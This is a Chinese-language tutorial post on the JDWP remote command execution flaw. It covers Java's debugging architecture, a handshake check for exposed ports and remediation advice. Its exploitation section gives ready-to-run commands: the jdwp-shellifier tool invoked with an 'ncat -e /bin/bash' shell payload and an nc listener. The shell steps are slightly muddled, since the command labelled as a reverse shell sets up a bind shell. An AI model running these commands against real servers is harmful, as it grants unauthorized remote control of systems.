JDWP 远程命令执行漏洞

0x01. Java 调试体系JPDA简介

JPDA(Java Platform Debugger Architecture):即Java平台调试体系架构。Java虚拟机设计的专门的API接口供调试和监控虚拟机使用

JPDA按照抽象层次,又分为三层,分别是:

    JVM TI(Java VM Tool Interface):虚拟机对外暴露的接口,包括debug和profile。 JDWP(Java Debug Wire Protocol):调试器和应用之间通信的协议。 JDI(Java Debug Interface):Java库接口,实现了JDWP协议的客户端,调试器可以用来和远程被调试应用通信。

0x02. JDWP简介

0x03. JDK 自带的一些命令行调试工具

命令 描述 jdb 命令行调试工具 jps 列出所有Java进程的PID jstack 列出虚拟机进程的所有线程运行状态 jmap 列出堆内存上的对象状态 jstat 记录虚拟机的运行状态,监控性能 jconsole 虚拟机性能/状态检查可视化工具

0x04. JDWP 远程命令执行漏洞

漏洞验证:

telnet端口后,输入命令JDWP-Handshake,

如果返回JDWP-Handshake,证明存在漏洞。而且如果输入JDWP-Handshake的速度不够快的话,连接很快就会断开。

telnet 目标IP 目标端口

漏洞利用脚本:https://github.com/IOActive/jdwp-shellifier

使用方法:

python jdwp-shellifier.py -t 目标主机ip -p jdwp运行端口 --cmd "Your Command"

比如我们可以执行一个反弹shell的命令:

漏洞利用过程如下:

  1. 攻击者主机上执行监听命令:
nc -lvvp 1234
  1. 被攻击的目标主机上执行命令:
python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --cmd "ncat -lvvp 1234 -e /bin/bash"

注:nc反弹shell有好几种方法,请根据具体情况进行修改,也可用其他方式反弹shell。

0x05. 修复建议

  1. 关闭JDWP端口,或者JDWP端口不对公网开放
  2. 关闭Java的debug模式(开启该模式对服务器性能有影响)

其他修复方法只要合理,也是可以采用的。

https://toutiao.io/posts/156157/app_preview

http://tinylab.org/use-jdb-to-debug-android-application/

经验分享 程序员 微信小程序 职场和发展